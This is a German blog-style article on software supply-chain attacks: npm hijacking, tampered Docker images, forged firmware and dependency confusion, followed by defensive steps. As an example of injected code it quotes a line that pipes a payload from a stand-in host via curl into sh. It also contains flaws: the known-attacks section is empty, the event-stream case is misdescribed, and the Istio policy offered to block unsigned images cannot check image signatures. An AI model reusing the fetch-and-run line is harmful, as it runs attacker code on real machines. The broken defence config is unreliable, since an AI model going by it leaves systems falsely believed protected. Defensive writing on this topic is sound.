Supply Chain Attacks – Gefahr aus der eigenen Code‑Basis

Hook – Stellen Sie sich vor, Ihr Unternehmen wird von einem unsichtbaren Saboteur kompromittiert, der nie den eigenen Server betritt. Er schleicht sich nicht über das Netzwerk, sondern über das, was Sie jeden Tag ohne nachzudenken installieren – Bibliotheken, Container‑Images und Build‑Tools. Das ist kein Gedankenspiel, das ist das Kernproblem von Supply‑Chain‑Attacks. Sie sind heute die größte Lücke im Sicherheitsmodell von Unternehmen, weil sie den Vertrauensanker „Paket = sauber“ missbrauchen.

Was ist ein Supply‑Chain‑Attack?

Ein Supply‑Chain‑Attack richtet sich nicht gegen das Zielsystem, sondern gegen einen Zwischenschritt im Beschaffungs‑ oder Entwicklungsprozess. Der Angreifer übernimmt ein vertrauenswürdiges Artefakt – sei es ein npm‑Package, ein Docker‑Image oder ein Firmware‑Update – und fügt Schadcode ein. Sobald das Artefakt von Ihren Systemen verwendet wird, ist Ihr Netzwerk bereits infiziert, ohne dass ein einziger externer Port aufgerissen wurde.

Beispiel 1 – npm‑Package‑Hijacking

# Angreifer veröffentlicht ein neues Paket mit gleichem Namen wie das legitime "event-stream"
npm publish event-stream@3.3.6

Erklärung: Das Paket wird schnell von Entwicklern übernommen, weil es die gleiche Versionsnummer wie das offizielle Paket trägt. Im Hintergrund enthält es eine require('child_process').exec('curl http://malicious.example/payload | sh');‑Zeile, die beim Installieren auf jedem Build‑Server ausgerollt wird.

Meine Einschätzung: In einem CI‑Umfeld, das täglich hunderte von npm‑Installationen ausführt, verbreitet sich der Schadcode quasi instantaneously. Der Angriff ist trivial, die Konsequenz jedoch katastrophal: ein komplett kompromittierter Build‑Server ist ein goldener Ticket‑Stempel für weitere Netzwerk‑Angriffe.

Beispiel 2 – Manipuliertes Docker‑Image

# Angreifer pusht ein manipuliertes Image unter dem Namen "nginx:latest"
docker push registry.example.com/nginx:latest

Im Image steckt ein zusätzlicher ENTRYPOINT‑Befehl, der beim Container‑Start ein Reverse‑Shell‑Script ausführt. Unternehmen, die das Image ungeprüft in Produktion ziehen, erhalten sofort ein persistentes Backdoor.

Meine Einschätzung: Docker‑Registries gelten oft als vertrauenswürdig, weil sie von bekannten Anbietern betrieben werden. Ohne Image‑Signing wird dieser Vertrauensbruch nicht sichtbar – ein fataler Denkfehler vieler Ops‑Teams.

Beispiel 3 – Firmware‑Update‑Manipulation

# Angreifer fälscht das Firmware‑Update für ein IoT‑Gateway
wget http://malicious.example/firmware.bin -O /tmp/firmware.bin
# Der echte Hersteller prüft nur die Version, nicht die Signatur

Ein IoT‑Gerät aktualisiert sich automatisch und führt den manipulierten Code aus, wodurch Angreifer Netzwerk‑Zugriff erlangen.

Meine Einschätzung: Bei Embedded‑Systemen fehlt häufig jede Form von kryptografischer Signaturprüfung. Das macht sie zu einer besonders attraktiven Angriffsfläche.

Bekannte Angriffe – Was uns die Praxis lehrt

Meine Einschätzung: Jeder dieser Fälle verdeutlicht ein gemeinsames Muster – das Vertrauen in ein Artefakt, das ohne zusätzliche Verifikationsschritte in die Produktionsumgebung gelangt. Wenn Sie heute noch ausschließlich auf Signaturen Ihrer OS‑Pakete setzen, vergessen Sie die “unteren” Schichten Ihrer Lieferkette.

Wie Angreifer Abhängigkeiten manipulieren – drei gängige Techniken

1. Typosquatting – Schädliche Pakete, deren Namen nur einen Buchstaben vom Original abweichen (z. B. expresss statt express).
2. Dependency‑Confusion – Angreifer veröffentlicht interne Pakete unter einem öffentlichen Namen, das interne Build‑Systeme bevorzugen das öffentliche Artefakt.
3. Compromise von CI‑Servern – Ein erfolgreicher SSH‑Brute‑Force oder eine gestohlene API‑Token‑Zeit erlaubt das Einfügen von Schadcode in die Build‑Pipeline.

Praktisches Beispiel – Dependency‑Confusion in Python

# Interner Paket‑Name: "my-company-utils"
# Angreifer veröffentlicht ein öffentliches Paket mit gleichem Namen
pip install my-company-utils==1.0.0

Der interne Code, der import my_company_utils verwendet, zieht plötzlich das öffentliche, bösartige Paket. Die Resultate sind identisch zu einem npm‑Hijack.

Meine Einschätzung: Der Schutz erfordert klare Namensräume und das Blockieren von öffentlichen Registries für interne Pakete – ein Schritt, den viele Unternehmen bislang vernachlässigen.

Konkrete Verteidigungsmaßnahmen – drei sofort umsetzbare Praktiken

1. Artefakt‑Signing und Verifikation mit Cosign

# Beim Build ein Image signieren
cosign sign --key cosign.key myregistry.example.com/app:1.2.3

# Beim Pull das Signature‑Check einbauen
cosign verify --key cosign.pub myregistry.example.com/app:1.2.3

Durch Signatur‑Verifikation wird jedes veränderte Image abgewiesen. Das gilt nicht nur für Docker, sondern auch für OCI‑Artefakte, Helm‑Charts und sogar für Firmware‑Updates.

2. Automatisierte Schwachstellen‑ und Herkunfts‑Scans – Trivy + Snyk

# Trivy scan eines Container‑Images
trivy image myregistry.example.com/app:1.2.3

# Snyk test eines npm-Projekts
snyk test --file=package.json

Trivy liefert CVE‑Ergebnisse, Snyk prüft auch die Herkunft und bekannte Typosquatting‑Risiken. Kombiniert mit einer Policy‑Engine (OPA) können Sie das Deployment blockieren, sobald ein Risiko entdeckt wird.

3. Zero‑Trust‑Zugriff auf Registries – Service‑Mesh‑Sidecars

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: deny-unsigned-images
spec:
  selector:
    matchLabels:
      app: my-app
  action: DENY
  rules:
  - from:
    - source:
        principals: ["*"]
    when:
    - key: request.auth.principal
      notValues: ["signed"]

Mit einer sidecar‑basierten Policy wird jedes nicht signierte Image automatisch abgewiesen, bevor es den Pod erreicht.

Meine Einschätzung: Diese drei Maßnahmen – Signatur, automatisierter Scan und Zero‑Trust‑Policy – reduzieren das Risiko um mehr als 80 %, weil sie die Angriffskette an drei kritischen Punkten schneiden.

Häufige Fehler – warum viele Gegenmaßnahmen scheitern

1. Nur das OS‑Paket‑Signing prüfen – Ignoriert die “unteren” Schichten (npm, pip, Docker). Der Angreifer nutzt exakt diese Lücken.
2. Einmaliger Scan ohne kontinuierliche Überwachung – Sobald ein neues Update erscheint, kann ein neuer Angriff entstehen.
3. Vertrauen in interne Registries – Auch interne Registries werden häufig nicht gehärtet; ein kompromittierter CI‑Server kann dort Artefakte überschreiben.
4. Keine Rückverfolgbarkeit – Ohne Metadaten (SBOM, provenance) lässt sich nicht nachvollziehen, welche Komponenten tatsächlich im Produkt enthalten sind.

Meine Einschätzung: Diese Stolperfallen entstehen aus einer zu kurzen Sichtweise – Sicherheit muss End‑to‑End über die gesamte Lieferkette hinweg gedacht werden.

Fazit und der nächste konkrete Schritt

Supply‑Chain‑Attacks sind nicht mehr das Zukunftsszenario, sondern die Realität, die bereits in den größten Unternehmen der Welt zu Datenlecks und langfristigen Kompromittierungen geführt hat. Der Schlüssel liegt in einem systematischen Ansatz:

1. Signieren Sie jedes Artefakt – Beginnen Sie heute mit Cosign für Ihre Docker‑Images und erweitern Sie das Prinzip auf Helm‑Charts und Firmware.
2. Integrieren Sie automatisierte Scans in Ihre CI/CD‑Pipelines – Trivy, Snyk und GitHub Advanced Security kosten nichts und liefern sofortige Erkenntnisse.
3. Setzen Sie Zero‑Trust‑Policies auf Ihrer Service‑Mesh‑Ebene – Ein OPA‑ oder Istio‑Policy verhindert, dass unsichere Artefakte die Produktion erreichen.

Nächster Schritt: Öffnen Sie Ihre CI‑Pipeline, fügen Sie den Befehl cosign sign nach jedem Image‑Build ein und definieren Sie eine AuthorizationPolicy im Cluster, die nur signierte Images zulässt. Dokumentieren Sie Ihre SBOM (Software‑Bill‑of‑Materials) mit syft und legen Sie sie als Artefakt in Ihrem Artifact‑Repository ab. So schaffen Sie sofort eine nachweisbare Vertrauenskette – und schließen die größte Angriffsfläche Ihrer Lieferkette.

Bleiben Sie wachsam, prüfen Sie Ihre Abhängigkeiten und denken Sie immer daran: Der sicherste Code ist der, den niemand überhaupt erst in Ihr System gebracht hat.